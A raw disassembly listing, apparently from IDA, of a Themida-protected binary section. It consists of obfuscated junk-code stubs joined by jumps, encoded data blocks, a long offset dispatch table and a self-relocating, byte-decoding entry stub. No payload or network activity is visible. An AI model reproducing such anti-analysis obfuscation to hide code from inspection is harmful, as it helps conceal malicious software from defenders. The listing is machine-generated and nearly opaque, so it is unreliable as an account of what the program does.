		dd 0E9A7B551h, 0FFFF87DAh, 7CC58158h, 8918F0C8h, 84E95DE8h
		dd 80FFFF8Ah, 0ECC020E4h, 5EC48004h, 80F3CC80h,	0E530B4ECh
		dd 44F58058h, 0CEE9DDF6h, 0BBFFFFF6h, 4, 7AE9DE01h, 35FFFF4Ch
		dd 0CD344B9h, 30B5BF57h, 0F7813FC3h, 5EDA2D4Ah,	4F03EFC1h
		dd 3003E781h, 0F781160Eh, 2FB3705Ch, 0FFC761E9h, 2434FFFFh
		dd 5AFEE959h, 5B54FFFFh, 4C381h, 0ECE90000h, 0FFFFFFA9h
		dd 0E9582434h, 0FFFFA308h, 3DFAED81h, 0EB017D6Ch, 241C875Dh
		dd 0E9C15Ch, 0FF9508E9h, 37A468FFh, 0C890000h, 4EC8124h
		dd 89000000h, 65E92414h, 81FFFF7Bh, 0C618DECFh,	0F7814F57h
		dd 0E97D6751h, 0E95FFA89h, 0FFFFCBD3h, 32B65266h, 5A66F028h
		dd 0E904E8C0h, 0FFFF47F5h, 4C481h, 0C8290000h, 0FFAFA0E9h
		dd 0FFC801FFh, 0E9592434h, 0FFFFBA7Fh, 4C18159h, 57000000h
		dd 468h, 0FE95F00h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F5BB3:				; CODE XREF: Themida_:005ED3E7j
		add	edx, edi
		mov	edi, [esp]
		jmp	loc_5EB0E7
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 81h
		dd 4C5h, 4ED8100h, 87000000h, 0A5E9242Ch, 83FFFF61h, 148704EAh
		dd 3C895C24h, 34FF5424h, 0BAADE924h, 3487FFFFh,	0D7015C24h
		dd 5528EF81h, 34FF7483h, 8F32E924h, 0E789FFFFh,	119DBE56h
		dd 0F681602Fh, 602F1199h, 0E95EF701h, 0FFFF8108h, 8304C483h
		dd 148904ECh, 0EC815124h, 4, 0E9241C89h, 0FFFFE9C8h, 0E6C3815Eh
		dd 81564A27h, 0F6BD63EBh, 6B49E97Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F5C3A:				; CODE XREF: Themida_:005EDEF1j
		push	dword ptr [esp]
		jmp	loc_5F4823
; ---------------------------------------------------------------------------
		dw 4545h
		dd 0BCE9D5F7h, 5CFFFFBFh, 0BB241C89h, 4AEB2DAFh, 15BDD01h
		dd 0AFED81DDh, 0E94AEB2Dh, 0FFFF7EC9h, 0EC815266h, 4, 0E9241C89h
		dd 0FFFF686Dh, 5024048Fh, 4BF57h, 0F8890000h, 2444015Fh
		dd 34FF5804h, 0B607E924h, 4BDFFFFh, 1000000h, 8DE95DE8h
		dd 66FFFF77h, 2898B753h, 45B66F8h, 2CD80040h, 0B5516640h
		dd 66E80098h, 665B6659h, 0E7F3E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F5CBA:				; CODE XREF: Themida_:005EB7DCj
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_5EDCC4
; ---------------------------------------------------------------------------


loc_5F5CC7:				; CODE XREF: Themida_:005EB050j
		mov	edx, 2A8579D5h
		or	ebp, edx
		pop	edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 45EC76E0h
		xor	ebp, esi
		pop	esi
		sub	ebp, 0FFFFFFFFh
		sub	ebp, 3B010F14h
		add	eax, ebp
		pop	ebp
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		movzx	ecx, ax
		push	3871h
		mov	[esp], edi
		push	46FAh
		push	1CCEh
		mov	[esp], esp
		push	5887h
		jmp	loc_5F3CC3
; ---------------------------------------------------------------------------
		dd 0B850E789h, 4, 48BC701h, 4C48324h, 0FFA16AE9h, 6976BAFFh
		dd 0EA8176E0h, 68A65B1Eh, 9680EA81h, 0D301BE25h, 0FF5EDEE9h
		dd 0C8B66FFh, 7FE96824h, 0C890000h, 34FF5424h, 0EC835924h
		dd 242C8904h, 0C581E589h, 4, 183E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F5D6A:				; CODE XREF: Themida_:005EBC3Fj
		push	ebx
		mov	ebx, esp
		jmp	loc_5EBA3E
; ---------------------------------------------------------------------------
		dw 0E305h
		dd 5261E04Eh, 0FF55DBE9h, 4B951FFh, 29000000h, 0B2E959CFh
		dd 81FFFFEBh, 0E25A70E5h, 0CBF58163h, 1751707h,	81435DEBh
		dd 0B32FD9F3h, 8130E920h, 408FFFFh, 7E99C24h, 56FFFF45h
		dd 0C681E689h, 4, 4C681h, 34870000h, 0E8015C24h, 4B9515Dh
		dd 29000000h, 48759C8h,	0E6A8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F5DD6:				; CODE XREF: Themida_:005F20F8j
		add	esp, 4
		pop	edx
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	loc_5F0FD9
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5EFE7E
; ---------------------------------------------------------------------------
		dd 85FEB80h, 0CDE95BDCh, 66FFFF73h, 83240C8Bh, 0C8904ECh
		dd 0CFD6824h, 14890000h, 55E28924h, 293797BDh, 0F5814517h
		dd 655B1EDAh, 4502EDC1h, 8A55F581h, 0EE91C9Ch
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F5E3B:				; CODE XREF: Themida_:005F4A5Bj
		add	esp, 4
		jmp	loc_5F6603
; ---------------------------------------------------------------------------
		db 68h
		dd 3F73h, 0B8240489h, 4, 0FFD8A0E9h, 0E9D9F7FFh, 0FFFFB1FBh
		dd 3E39C381h, 0C301716Dh, 0FF5BAFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F5E69:				; CODE XREF: Themida_:005F2D9Ej
		xor	esi, 0F99FBFAFh
		and	eax, esi
		mov	esi, [esp]
		jmp	loc_5F5511
; ---------------------------------------------------------------------------
		db 0E9h, 38h, 44h
		dd 0E6BFFFFFh, 0E94A5368h, 0FFFFE79Eh, 4C681h, 0EE830000h
		dd 24348704h, 242C895Ch, 41DBF57h, 814778B8h, 0C73269F7h
		dd 5FFD8932h, 0FFD2D2E9h, 588A68FFh, 62E90000h,	89FFFFA3h
		dd 0F759E9E2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F5EBE:				; CODE XREF: Themida_:005F4D93j
		push	ebx
		mov	ebx, 7FA2009Ch
		shr	ebx, 7
		xor	ebx, 0FF4405h
		mov	edi, ebx
		pop	ebx
		jmp	loc_5EDDEC
; ---------------------------------------------------------------------------
		db 0B6h, 0F3h, 80h
		dd 0C6FE09C6h, 5366D6F6h, 0DE00D3B3h, 0F0285B66h, 0FFC58FE9h
		dd 4BBFFh, 0DD010000h, 242C875Bh, 4C1815Ch, 81000000h
		dd 2C1h, 5570E900h, 348BFFFFh, 0CA21E924h, 0D830FFFFh
		dd 6F1068h, 24148900h, 0FF5FFAE9h, 58C681FFh, 11E2606h
		dd 0E9525EF0h, 0FFFFF691h, 0E1F7665Ch, 81E28952h, 4C2h
		dd 0E1895100h, 4C181h, 0E9810000h, 4, 0E9240C87h, 0FFFFB6B5h
		dd 0E92434FFh, 0FFFF44B8h, 5266DD86h, 0F500C8B6h, 0E0E95A66h
		dd 0B8FFFF57h, 52E8013Ch, 0B0338E35h, 2C112D1Fh, 0C6012E4Ah
		dd 0E9EE0158h, 0FFFFDF49h, 2434FF5Fh, 0FFCC47E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F5F8D:				; CODE XREF: Themida_:005EB9BEj
		sub	edx, esi
		jmp	loc_5EBB1A
; ---------------------------------------------------------------------------
		dd 1AA9EA81h, 0C8B62FFh, 4C48124h, 50000000h, 0D43BE56h
		dd 0F0890362h, 0E8C1485Eh, 1E960506h, 6225637Eh, 357F6365h
		dd 1DD27188h, 0D155CE35h, 58C2017Eh, 31241433h,	14332414h
		dd 0C8B5C24h, 43E96824h, 0A4E90000h, 51FFFFF9h,	8904EC83h
		dd 0D2682404h, 584CF71Ah, 0A45EE948h, 0C581FFFFh, 0AAD7E847h
		dd 875DEB01h, 248B241Ch, 0B60F6624h, 0F16866C8h, 0C89660Fh
		dd 0DB7EE924h, 8B66FFFFh, 47E92404h, 5EFFFFF5h,	4C681h
		dd 6DE90000h, 56FFFFCFh, 4BEh, 5EF10100h, 5C240C87h, 0FF427DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F6039:				; CODE XREF: Themida_:005F6331j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		push	6616h
		mov	[esp], esi
		mov	esi, 35B77B97h
		mov	ebp, 35B77B93h
		xor	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5F2359
; ---------------------------------------------------------------------------
		db 0BEh
		dd 6A2B2C11h, 15EF589h,	0E9555FFDh, 0FFFF62F3h,	3A42BDB9h
		dd 0EC81561Fh, 4, 55241C89h, 1C4CAA68h,	0C5815D07h, 7B8E79DBh
		dd 4D8CD81h, 0C5813476h, 5F5B6960h, 0E95DEB89h,	0FFFF5348h
		dd 81243C8Bh, 4C4h, 0A1B85000h,	0E940950Ch, 0FFFFF7F2h
		dd 4240483h, 4C6815Eh, 81000000h, 4C6h,	24343300h, 33243431h
		dd 248B2434h, 32E95024h, 52FFFFD7h, 0EA8031B2h,	33E28056h
		dd 0F280CAFEh, 2C9A2CFDh, 0A4042Fh, 8FB551D0h, 0C2E9D5F6h
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F6103:				; CODE XREF: Themida_:005EFD35j
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	ebp
		jmp	loc_5EBFB7
; ---------------------------------------------------------------------------
aQAAuv		db 'Q\ڀ',0
		dw 80EEh
		dd 0BDE9A2C6h, 80FFFF59h, 4CE9B3C3h, 81FFFFD9h,	4C4h, 8FC0E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F613E:				; CODE XREF: Themida_:005F0D87j
		push	ebx
		xor	dword ptr [esp], 59E84874h
		mov	eax, [esp]
		jmp	loc_5EA2E7
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 0FFFF7A30h, 89DA8952h, 0C5BBE9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F615E:				; CODE XREF: Themida_:005F292Ej
		pop	ecx
		jmp	loc_5F2B72
; ---------------------------------------------------------------------------
		dd 81240C8Bh, 4C4h, 5DE9E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F6172:				; CODE XREF: Themida_:005EA760j
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebx
		jmp	loc_5F10F8
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 53h
		dd 3C707CBBh, 93F38142h, 532E250Dh, 8B241CF7h, 0C483241Ch
		dd 2FE38104h, 50561142h, 205B8h, 58C33112h, 0FFF81FE9h
		dd 0E08950FFh, 405h, 4C08300h, 5C240487h, 5FE95559h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F61C3:				; CODE XREF: Themida_:005EBC76j
		add	edi, 59CB4749h
		jmp	loc_5F1672
; ---------------------------------------------------------------------------
		dw 3768h
		dd 5400001Fh, 8324048Fh, 5F042404h, 26BF5753h, 0BB5BAD7Ah
		dd 1F4521C2h, 4B5FFB31h, 22C3814Bh, 1BB17A4h, 0EF815BDFh
		dd 4, 31243C33h, 3C33243Ch, 5750E924h, 0C381FFFFh, 4, 0E904C383h
		dd 0FFFFAB74h, 8B240C87h, 0B60F2424h, 85D1E9C8h, 73B9FFFFh
		dd 0BB2A360Fh, 0DDEBE929h, 3301EB81h, 0CB017150h, 0FF5017E9h
		dd 0ACE953FFh
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F6243:				; CODE XREF: Themida_:005F11C5j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		sub	dword ptr [esp], 7947A4Eh
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5EB506
; ---------------------------------------------------------------------------
		dd 33243431h, 248B2434h, 404CE924h, 0D101FFFFh,	0A9C2815Ah
		dd 162FF1Ah, 0FD1AE9CAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F627A:				; CODE XREF: Themida_:005F02EDj
		pop	ebp
		not	edi
		shl	edi, 6
		push	esi
		mov	esi, 57AB24BFh
		xor	esi, 5F8B5B43h
		jmp	loc_5EF559
; ---------------------------------------------------------------------------


loc_5F6291:				; CODE XREF: Themida_:005EE105j
		mov	[esp], eax
		jmp	loc_5EEED4
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 50000000h, 468h, 0C5015800h,	242C8758h, 5624248Bh, 0D67209BEh
		dd 246C814Ah, 6D0D3004h, 2474295Bh, 37E95004h, 87FFFFA3h
		dd 0EBE92404h, 56FFFF74h, 2BEh,	0E9F70100h, 0FFFF83E8h
		dd 9BA4E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F62E2:				; CODE XREF: Themida_:005F53D7j
		pop	esi
		mov	ecx, eax
		pop	eax
		inc	ecx
		jmp	loc_5EB70B
; ---------------------------------------------------------------------------
		dd 0DB05D8F7h, 0E9EB333Fh, 0FFFF9D09h, 0C281E289h, 4, 4BD55h
		dd 0C2810000h, 48D16975h, 0EA81EA01h, 48D16975h, 0B49DE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F631A:				; CODE XREF: Themida_:005F52BFj
		pop	eax
		add	ecx, eax
		pop	eax
		add	ecx, 199A3EDBh
		sub	ecx, eax
		jmp	loc_5F5808
; ---------------------------------------------------------------------------


loc_5F632B:				; CODE XREF: Themida_:005F2368j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5F6039
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 6968240Ch, 89000035h, 0EC812434h, 4,	0BFE0E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F634E:				; CODE XREF: Themida_:005F0C3Bj
		add	[esp+8], eax
		jmp	loc_5F416A
; ---------------------------------------------------------------------------


loc_5F6357:				; CODE XREF: Themida_:005F2EE1j
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_5F3325
; ---------------------------------------------------------------------------
		dw 4BFh
		dd 81000000h, 19764EC3h, 0DD49E950h, 0C289FFFFh, 0FFC6A8E9h
		dd 2C483FFh, 1C8BD830h,	4C48324h, 52CDC380h, 0FFDC97E9h
		dd 0C4BB53FFh, 811F2E04h, 9E0ED1E3h, 2FF38120h,	0E96DE052h
		dd 0FFFF784Dh, 5C241C87h, 0FF5515E9h, 7F6368FFh, 14890000h
		dd 282DBA24h, 0E2C179F1h, 0F7D2F706h, 0D5F281DAh, 8954DD0Dh
		dd 24148BD1h, 5204C483h, 0D589CA89h, 240C8B5Ah,	4C481h
		dd 732D0000h, 0E95DDB40h, 0FFFF62CBh, 34FF5D5Fh, 89565824h
		dd 0F0E953E6h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F63F7:				; CODE XREF: Themida_:005F4D63j
		xor	edi, 3F4ABE57h
		add	ebp, edi
		pop	edi
		add	edx, 3F357334h
		add	edx, ebp
		sub	edx, 3F357334h
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	ebp
		push	edx
		jmp	loc_5F202F
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF3E86h, 88241489h, 5AD188C2h, 0FFDB0DE9h, 51E2B7FFh
		dd 0FF5FC1E9h, 240481FFh, 4, 7D2CE95Ah,	3C31FFFFh, 243C3324h
		dd 0B30F665Ch, 0E99C2404h, 0FFFF3E52h
; ---------------------------------------------------------------------------


loc_5F6464:				; CODE XREF: Themida_:005F299Ej
		and	ecx, eax
		jmp	loc_5F2E0D
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 685DEE01h, 13F2h,	0FFB422E9h, 1FF181FFh, 0E969DA4Ah
		dd 0FFFFA3D9h, 348BF089h, 8D48E924h, 0C181FFFFh, 4, 0E9240C87h
		dd 0FFFF8466h
; ---------------------------------------------------------------------------


loc_5F64A0:				; CODE XREF: Themida_:005EB3A0j
		push	ebp
		jmp	loc_5F5082
; ---------------------------------------------------------------------------
		dw 6664h
		dd 24E9028Bh, 89FFFF4Ah, 6EBE2434h, 4640432Dh, 553BE681h
		dd 0E6C16BF6h, 91EE8108h, 21C67FCAh, 5830E9F0h,	2C87FFFFh
		dd 24248B24h, 9C240CD2h, 0FF3DD9E9h, 24148BFFh,	4C481h
		dd 0C8B0000h, 4C48124h,	81000000h, 4ECh, 4148E900h, 0C89FFFFh
		dd 0F2A8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F6502:				; CODE XREF: Themida_:005F2C9Bj
		sub	esp, 4
		jmp	loc_5EFBF1
; ---------------------------------------------------------------------------
		dw 0EB29h
		dd 83242C8Bh, 3CE904C4h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F6517:				; CODE XREF: Themida_:005F3269j
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		jmp	loc_5F56F6
; ---------------------------------------------------------------------------


loc_5F6527:				; CODE XREF: Themida_:005EEF67j
		mov	ecx, 0BE94EC9h
		push	ebx
		jmp	loc_5EB99E
; ---------------------------------------------------------------------------
		dw 4404h
		dd 56241C8Bh, 0FFBC50E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F653D:				; CODE XREF: Themida_:005F4CF1j
		add	ecx, ebp
		pop	ebp
		add	ecx, 0DAA5E910h
		push	ebp
		jmp	loc_5EE0AB
; ---------------------------------------------------------------------------
aHN		db '^h',9,'n',0
		align 2
		dw 1489h
		dd 0BD3BE924h, 1CF7FFFFh, 53E99C24h, 33FFFF3Dh,	3C31243Ch
		dd 0A268E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F656E:				; CODE XREF: Themida_:005EFF22j
		pop	edi
		shl	esi, 1
		jmp	loc_5ED469
; ---------------------------------------------------------------------------
		dw 0FA01h
		dd 0E9FA015Fh, 0FFFF56DAh
; ---------------------------------------------------------------------------


loc_5F6580:				; CODE XREF: Themida_:005EC81Ej
		add	edx, ebp
		pop	ebp
		mov	ebx, edx
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	esi, [esp]
		jmp	loc_5EC9C5
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 52E18951h, 48E9E289h, 59FFFFB9h, 875EF701h, 0F75C243Ch
		dd 0EE1BE9F1h, 895CFFFFh, 4BA2414h, 1000000h, 0D00DE9D7h
		dd 0D000FFFFh, 0FF9A6CE9h, 21C568FFh, 2C890000h, 0E9E58924h
		dd 0FFFF3F9Bh, 5B580288h, 0FF3CB9E9h, 1DE95AFFh
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F6603:				; CODE XREF: Themida_:005F5E3Ej
		and	ecx, esi
		jmp	loc_5EFEC1
; ---------------------------------------------------------------------------
		dw 0D3F6h
		dd 0C0E0B151h, 0F18003E9h, 0E9CB08E7h, 0FFFFB628h, 4E08DB38h
		dd 0F88996A9h, 7C43h, 2666EF0h,	69BB80h, 5191h,	5CB586h
		dd 213h, 2, 1, 0
		dd 0F88996A9h, 5 dup(0)
		dd offset byte_5FDD91
		dd offset dword_5FC204
		dd offset byte_602BD7
		dd offset byte_5F9439
		dd offset byte_602175
		dd offset word_5FF4A6
		dd offset dword_5FA38C
		dd offset dword_5FB240
		dd offset byte_5FF91F
		dd offset byte_5FFF3F
		dd offset dword_5F6BBC
		dd offset byte_5F93B7
		dd offset byte_5F7CD7
		dd offset byte_5FB29F
		dd offset aM0Rhi	; "0Rh\""
		dd offset byte_5F7BFF
		dd offset byte_5FC84D
		dd offset word_600B1E
		dd offset byte_5FB787
		dd offset dword_602F00
		dd offset word_5FBC0E
		dd offset byte_5FFEBB
		dd offset byte_5FC111
		dd offset byte_5FFCEF
		dd offset byte_5F78F9
		dd offset byte_6001CF
		dd offset dword_600758
		dd offset byte_5FEA61
		dd offset byte_5F69C9
		dd offset word_6012D6
		dd offset byte_5FB907
		dd offset byte_5F9555
		dd offset byte_5FACED
		dd offset dword_5F76BC
		dd offset dword_5FFE0C
		dd offset word_5FD9A2
		dd offset byte_6016E9
		dd offset off_5F8DE0
		dd offset byte_5FF973
		dd offset byte_5FA913
		dd offset byte_5FF531
		dd offset byte_5F6A65
		dd offset aM0H8		; "0h8\r"
		dd offset byte_6011F1
		dd offset byte_601DCF
		dd offset byte_5FF443
		dd offset word_600C8A
		dd offset byte_5FDC33
		dd offset byte_5FE6B5
		dd offset byte_5F8FA5
		dd offset dword_602324
		dd offset word_5F9456
		dd offset byte_5F6DCB
		dd offset byte_5FED09
		dd offset word_5FE106
		dd offset byte_5F6E0D
		dd offset dword_5FD2DC
		dd offset word_5FA5DA
		dd offset dword_5FCDCC
		dd offset byte_5FB7EB
		dd offset byte_5FAE79
		dd offset byte_5FD6C7
		dd offset byte_5F8BE1
		dd offset dword_5F7FB8
		dd offset word_60073E
		dd offset dword_6029BC
		dd offset dword_5FFCBC
		dd offset byte_600181
		dd offset aMh7		; "h7$"
		dd offset word_5F8AB6
		dd offset word_600356
		dd offset byte_5F9361
		dd offset dword_602098
		dd offset word_5F9766
		dd offset word_601DA6
		dd offset byte_6024CD
		dd offset byte_5FC921
		dd offset byte_6013E1
		dd offset byte_5F988D
		dd offset dword_5FB7CC
		dd offset byte_5F94AB
		dd offset word_5FC1D2
		dd offset dword_5FCD7C
		dd offset byte_5FD10F
		dd offset dword_5F69D8
		dd offset byte_5FF933
		dd offset byte_600E5F
		dd offset byte_5FD3AD
		dd offset dword_602F90
		dd offset word_5FB9EA
		dd offset off_5FD254
		dd offset word_5FF556
		dd offset dword_5F8F04
		dd offset byte_5FE84D
		dd offset byte_5FC0D9
		dd offset byte_5FFA03
		dd offset dword_5FCFE4
		dd offset byte_5F8AD1
		dd offset word_5F7CBE
		dd offset word_602B2A
		dd offset byte_5FB3C1
		dd offset byte_5FF8E9
		dd offset aNh		; "h-"
		dd offset aN1HS		; "1hS"
		dd offset off_6007CF
		dd offset dword_5F9010
		dd offset byte_5FCD8F
		dd offset byte_5FFC95
		dd offset dword_600874
		dd offset word_5F9C06
		dd offset byte_5FB173
		dd offset byte_6002DB
		dd offset byte_601071
		dd offset byte_5F7BC1
		dd offset dword_5FC068
		dd offset byte_601005
		dd offset byte_600D49
		dd offset byte_5FC435
		dd offset dword_5F8144
		dd offset byte_5FD16B
		dd offset word_5F8D2E
		dd offset byte_5F74A3
		dd offset dword_5F6ECC
		dd offset byte_602543
		dd offset dword_5F7AA4
		dd offset byte_5FF76B
		dd offset byte_5FC919
		dd offset dword_5FE354
		dd offset byte_5F81F1
		dd offset dword_5F8B18
		dd offset byte_5FA6CD
		dd offset byte_5FFACF
		dd offset byte_5FF173
		dd offset word_5FAAFE
		dd offset byte_5F8E8B
		dd offset word_5FDC8E
		dd offset byte_5FE5AD
		dd offset byte_5FB0A1
		dd offset byte_5F8425
		dd offset byte_5F7237
		dd offset word_600C36
		dd offset off_6025FD
		dd offset byte_5FBF65
		dd offset word_5F72EE
		dd offset byte_6012C7
		dd offset word_5FB42E
		dd offset aMsff		; "F"
		dd offset dword_5F985C
		dd offset byte_5FF10F
		dd offset byte_5FF829
		dd offset byte_60129F
		dd offset byte_5F8651
		dd offset byte_5F828F
		dd offset byte_5FD59F
		dd offset dword_5F6B6C
		dd offset byte_5FF05D
		dd offset byte_5FCE09
		dd offset word_5F7446
		dd offset byte_5F8999
		dd offset byte_5FFDC9
		dd offset byte_5FF99D
		dd offset byte_600789
		dd offset dword_600B34
		dd offset byte_5F9EC7
		dd offset byte_5F92ED
		dd offset word_5F7A46
		dd offset dword_5FD86C
; ---------------------------------------------------------------------------


loc_5F68FC:				; CODE XREF: Themida_:006831B0j
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 7D5D25Bh
		mov	eax, edi
		add	edi, 7D5CF73h
		cmp	eax, [edi+2Ch]
		jnz	short loc_5F691A
		jmp	short loc_5F692D
; ---------------------------------------------------------------------------


loc_5F691A:				; CODE XREF: Themida_:005F6916j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_5F6929
; ---------------------------------------------------------------------------


loc_5F6924:				; CODE XREF: Themida_:005F692Bj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_5F6929:				; CODE XREF: Themida_:005F6922j
		or	ecx, ecx
		jnz	short loc_5F6924


loc_5F692D:				; CODE XREF: Themida_:005F6918j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_5F693A:				; CODE XREF: Themida_:005F6941j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_5F693A


loc_5F6943:				; CODE XREF: Themida_:005F7E3Bj
					; Themida_:005F89D8j ...
		lodsb
		sub	al, 0F5h
		add	al, 9Eh
		add	al, 0DEh
		add	al, bl
		jmp	loc_600345
; ---------------------------------------------------------------------------
aHrssy		db 'HRY',0
		align 4


loc_5F6958:				; CODE XREF: Themida_:006010F3j
		mov	esp, [esp]
		jmp	loc_5FDCBD
; ---------------------------------------------------------------------------


loc_5F6960:				; CODE XREF: Themida_:00602A1Dj
		add	esi, ecx
		pop	ecx
		add	esi, 2
		xchg	esi, [esp]
		jmp	loc_5FB0E3
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 5B545324h, 4C381h, 0D4E90000h
		db 67h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F697F:				; CODE XREF: Themida_:0060025Fj
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		push	67B1h
		mov	[esp], edi
		mov	edi, esp
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		jmp	loc_5FCE17
; ---------------------------------------------------------------------------
		db 1, 0FBh, 81h
		dd 57EAEEBh, 83525F12h,	1C8904ECh, 56B7BB24h, 0BBBA093Fh
		dd 29093F56h, 2BF7E9DAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F69C2:				; CODE XREF: Themida_:005FB21Cj
		and	ecx, edi
		jmp	loc_6002EA
; ---------------------------------------------------------------------------
byte_5F69C9	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005F66D0o
		dd 4EC8324h, 0E9243489h, 36A6h
dword_5F69D8	dd 240C8B66h, 0B146E952h, 992D0000h, 56A160Dh, 40E23B81h
					; DATA XREF: Themida_:005F67B0o
		dd 4EC81h, 3C890000h, 26D5BF24h, 0EF817E2Ch, 618EFA49h
		dd 3C8BF829h, 4C48124h,	68000000h, 0F80h, 56240C89h, 1C0B2F68h
		dd 0C6815E4Fh, 3BBB70B8h, 0B9E9D6F7h, 81000086h, 220CDFCAh
		dd 4EC816Ah, 89000000h,	9AE92434h, 0FF00006Bh, 5E042474h
		dd 8B24048Fh, 3C892424h, 835F5424h, 148904ECh, 4BA24h
		dd 0CCE90000h, 0BF000033h, 20619DFh, 6E59E9h
		db 0
byte_5F6A65	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:005F6704o
		dd 0D259669Dh, 0E99C241Ch, 0FFFFFECFh, 0EA81F201h, 71275069h
		dd 4BD555Eh, 0E9000000h, 0B86Fh, 8004D800h, 57F0685Bh
		dd 0C890000h, 8003B124h, 4268ACC1h, 89000016h, 0B3532414h
		dd 80D0E96Ch, 1C890000h, 68E38924h, 638Ah, 0BA241489h
		dd 4, 685AD301h, 1E5Fh,	81243C89h, 4ECh, 242C8900h, 0D1213FBDh
		dd 213BBF4Bh, 0EF314BD1h, 8BFB015Dh, 0C483243Ch, 6BE95304h
		dd 43000070h, 4B05E3C1h, 1258C381h, 0D9891B80h,	83B8505Bh
		dd 814CCB4Dh, 84543C1h,	81C12923h, 84543E9h, 24048B23h
		dd 0E904EC83h, 16C5h, 4BBh, 246C8100h, 0C815D104h, 245C012Eh
		dd 24448104h, 0C815D104h, 7409E92Eh, 0E0890000h, 0AFADE955h
		dd 0C15E0000h, 0BA5203EEh, 765C2C2Ch, 815AD631h, 0F6B98C6h
		dd 0F9E94662h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5F6B57:				; CODE XREF: Themida_:006019E4j
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		jmp	loc_6022C4
; ---------------------------------------------------------------------------
dword_5F6B6C	dd 0FFFDD2E9h, 4C481FFh, 56000000h, 0B06FE9h, 0FC00B00h
					; DATA XREF: Themida_:005F68C8o
		dd 0A2D084h, 0E9515600h, 0A09Dh, 0F780CFFEh, 805CE9BFh
		dd 0C4810000h, 4, 31240433h, 4332404h, 0F7665C24h, 144DE9F9h
		dd 0C1000000h, 6680C180h, 0E924048Bh, 1C9Ah
dword_5F6BBC	dd 81240C8Bh, 4ECh, 24148900h, 215268h,	44E95400h, 5000007Dh
					; DATA XREF: Themida_:005F6688o
		dd 0C00466B8h, 8BC7016Ah, 0C4812404h, 4, 2105E953h, 895C0000h
